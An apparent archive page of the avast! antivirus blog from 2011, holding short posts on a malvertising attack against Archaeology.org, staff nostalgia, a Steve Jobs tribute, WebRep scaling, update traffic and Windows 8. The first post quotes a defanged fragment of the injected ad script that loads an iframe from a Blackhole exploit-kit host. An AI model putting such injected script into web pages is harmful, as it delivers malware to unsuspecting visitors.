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November 21st, 2011

Discover lost fortresses and modern malware

History fans  can do more than just learn about a vanished empire in the Sahara. When they visit Archaeology.org, the online publication of the Archaeological Institute of America, they can also pick up malware via an infected advertisement on the page.

“It’s a blackhole attack through advertisements, OpenX in this case,” confirmed Jiri Sejtko, senior virus analyst at the AVAST Virus Lab. “Here it is: OA_output['16'] += “<”+…. document.write(\’<”+”iframe src=\”hxxp://hdfh11.coom.in/main.php?page=423b262d0a1a9f70\”

OpenX is an open-source platform for exchanging advertisements. The blackhole toolkit is, in a nutshell, a system for delivering a wide range of malware. “It could be almost anything, for example a worm or fake antivirus,” added Jiri.

This latest bit of malware was uncovered by computer users researching the hotlinks on a recent National Geographic article http://news.nationalgeographic.com/news/2011/11/111111-sahara-libya-lost-civilization-science-satellites/ and the Discover magazine article Satellite Photos Show Ancient Saharan Fortresses of a Lost Empire. Read more…

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November 17th, 2011

Facebook vs. Sharks

Yes, most of us complain about all the seemingly unnecessary changes that Facebook initiates far more often than we’d like (just about the time we figure out how to navigate everything)… but it’s good to remember that Facebook is a free service. Of course some will argue that nothing is really ‘free’, but at least +140 million active avast! Community members know differently. ;)

 

Value proposition

Some of you will remember the days of Rolodex. Mine was typically overfilled with business cards and scraps of paper – taped, glued, or even stapled in place. Sometimes a few ‘creative’ oversized business cards or paper scraps would clog up the ‘machine’, and maintaining changes to phone numbers, addresses, and job titles was always a major problem.

So Facebook, for me, was a welcome change. All my contacts keep their own info updated, and I can find them at any time via the search box. And my Facebook account serves 4 key purposes:

Read more…

October 19th, 2011

Not a Luddite – I just think old stuff is rad

The recent passing of Steve Jobs prompted several conversations in the office, or at least in the Marketing/PR department, about old technologies and how/where they’ve gone. We’re amazed if/when we stumble onto a computer with an old floppy-disk drive nowadays, but in 2006 when I moved to Prague I actually brought a few old 3.5″ disks with me, as they had some stuff on them that I’d not yet saved elsewhere. I remember that by 2009 I had a difficult time finding anyone – even among my IT friends – who had a floppy drive, and fortunately I was able to find one at Anglo-American University Library, where my librarian friends were kind enough to let me use it, to at least save everything to an external USB drive.

In spirit, I could be like Henry David Thoreau, living out my days reading and writing by lamplight in an old cabin in the woods (not at Walden Pond, but somewhere in neighboring Slovakia’s High Tatra Mountains), with no electricity or plumbing. But I really do like electronic gadgets, even though I may be many years behind the mainstream in terms of adoption – i.e., I’ve still never played with a smartphone or a GPS device, and foursquare is to me a game I played in elementary school.

Dream state

What I would rather play with is my ’81 Gibson Les Paul through an old tube amplifier… making it louder until the volume knob is around 7… and then dialing in that sweet distortion one finds between 7 and 10 (at least on my little ‘60s Epiphone amp) and playing until sunrise, until my fingers start to bleed. Read more…

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October 18th, 2011

Back to the Future?

I bet most of you have seen the ‘80s Back to the Future trilogy.  Back then it had great special effects, hi-tech equipment, impressive cars and tricks, but there was also a great theme in which the main hero goes back to the past…

You might be wondering how does it relate to avast! antivirus? Well all of us have a bit of nostalgia for the past, a time when we didn’t use PCs and there were no viruses. :)

So, the other day I asked my colleagues in our marketing/PR department: do you remember your first PC or the first virus you caught?

I was surprised what kind of discussion it has opened and how excited everyone was about it. So here we go (in alphabetical order):

Jason – Copywriter

First pseudo-computer I owned was Atari 2600 (circa 1984-5).

First real computer I ever used (at school): Commodore 64 (circa 1986-7) with a cassette-tape drive.

First real computer I actually owned was an HP desktop I bought in 1997 (with Windows 95 and McAfee antivirus (avast! engine!!)). I had it until 2002, when I upgraded to a Gateway desktop with Windows XP, which I think came with Symantec/Norton(?)… which I did not renew, instead using free antivirus software (ZoneAlarm, AVG, avast!) from then on.

Milos – Marketing Director

I was a poor kid from a poor village.  No computers.  Just socialism.  Left and right… everywhere you looked. Firsthand experience was the computer lab at school when I lived for a while in Modesto, California, in 1992/1993.   PC,  Macs and – listen carefully – Amiga.

I hated Mac because the only way to get the floppy disk out was through the software-eject button.  So when it crashed – and it was crashing all the time – your disk was in there and impossible to get out.

The PC on the other hand was excellent.  Crashed equally as often as the Mac, but there was a miracle hardware button, and when you pushed it the disk was out!  Lovely.

And of course the Amiga… I learned how to animate and draw on it.  It was THE computer for graphics!

Read more…

October 6th, 2011

In memory of an innovation wizard


“Being the richest man in the cemetery doesn’t matter to me … Going to bed at night saying we’ve done something wonderful… that’s what matters to me.”

 





We at AVAST Software offer our condolences to the family and friends of a true Innovator. May we all be inspired by his life, and go on to do “something wonderful.”

 

 

October 4th, 2011

WebRep: Counting user opinions, 100,000 a second

Building a scalable platform for more than 100,000 requests a second

 

It’s hard to count on popularity. WebRep, the avast! browser plugin that gives users a reputation rating for visited websites, faced scalability issues soon after its launch in early 2011. The number of users shot past the original expectations and the incoming opinions were overwhelming the system.

We started WebRep with the ability to process 10,000 user responses a second, but the system was getting overwhelmed as the number of responses jumped to the 100,000 level. Read more…

September 22nd, 2011

AVAST acquires mobile security app developer ITAgents

For those interested in all things Android, I have some exciting news. AVAST Software has acquired ITAgents, the Austrian developer of the Theft Aware mobile phone theft protection and recovery system.

The acquisition strengthens AVAST’s technology base and gives us a hands-on security app designed for today’s Android-powered smartphones. Read more…

September 20th, 2011

Shipping Wikipedia in 3 seconds

Last week on Friday September 16  – right ahead of the weekend – our servers had a good reason to celebrate.   They were delivering a record-high 4.5GB of avast updates to our users EACH SECOND.    AVAST has over 130 million active users, but of course not everybody turns on their computer every day.  On average, about half of all users turn on their machine every day and receive an update.  Friday was therefore not quite ordinary, as the 4.5 GB-per-second-traffic-fury lasted for 1 hour before subsiding to normal levels. Read more…

September 16th, 2011

Windows 8 developer conference

On Tuesday, Microsoft unveiled more details about the future Windows 8 operating system at the BUILD developer conference in Anaheim, California and we could not miss out on this event! Avast has always been able to fully operate on every future Windows OS starting at the public Beta version and our users can rely on us regarding Windows 8.

Microsoft is going to redesign the classic Windows 95 interface and prefer a new “Metro” user interface which is optimized exclusively for touch-screen tablets. It will appear the same on laptops and desktops, too.

They will ship only one Windows version which will run on all Windows 8 PCs: Desktops, laptops, tablets, cell phones, big screens, and small screens. No more separated OS versions like in the past (see Windows and Windows CE/Windows Phone variants). Every desktop application should now support both interfaces – and so will avast! Read more…

August 3rd, 2011

Registrations, Launches, Virus Lab Research

The second half of 2011 got off to a great start for AVAST Software (even if it was rough in terms of Prague’s “summer” weather, which been more like an out-of-place autumn). We began the third quarter with a record 165 million user registrations and (not long after launching our avast! Free Antivirus for Mac beta) in July we launched our new business security line. As for what’s next, CNET’s Seth Rosenblatt give a preview of our other upcoming security solutions here.

In other news, research by the AVAST Virus Lab uncovered an alarming trend in Adobe Reader version usage and a surprising percentage of Microsoft XP-based rootkits. Read more…